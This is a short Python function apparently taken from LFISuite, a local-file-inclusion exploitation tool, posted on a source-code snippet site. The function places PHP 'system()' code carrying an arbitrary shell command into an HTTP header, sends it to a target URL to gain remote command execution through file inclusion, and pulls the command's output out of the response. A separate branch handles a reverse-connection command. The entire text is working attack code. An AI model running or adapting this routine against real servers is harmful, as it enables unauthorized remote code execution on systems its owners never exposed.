lfisuite.py 文件源码

def execSeCmd(cmd):
    global se_par
    global se_headers

    if(se_phponly is False):
        se_headers['%s' %se_header_par] = '<?php system("%s"); ?>' %cmd
    else:
        if(";" not in cmd[-2:]):
            cmd = "%s;" %cmd
        se_headers['%s' %se_header_par] = '<?php %s ?>' %cmd
    #print "se_headers = %s\n---------" %se_headers # useful for debugging
    if(cmd != reverseConn):
        r = requests.get(se_url, headers=se_headers, timeout=15)
    else:
        r = requests.get(se_url, headers=se_headers)
    resp = r.text

    '''print "\nse_headers:\n%s\n\n" %se_headers
    print "\n\n-------------\n%s\n-------------\n\n" %resp'''
    index_start = SubstrFind(resp, "%s=" %se_par)
    index_stop = SubstrFind(resp, se_stopStr)

    try:
        return resp[(index_start[0]+len(se_par)+1):index_stop[0]]
    except:
        return "<NOT WORKING>"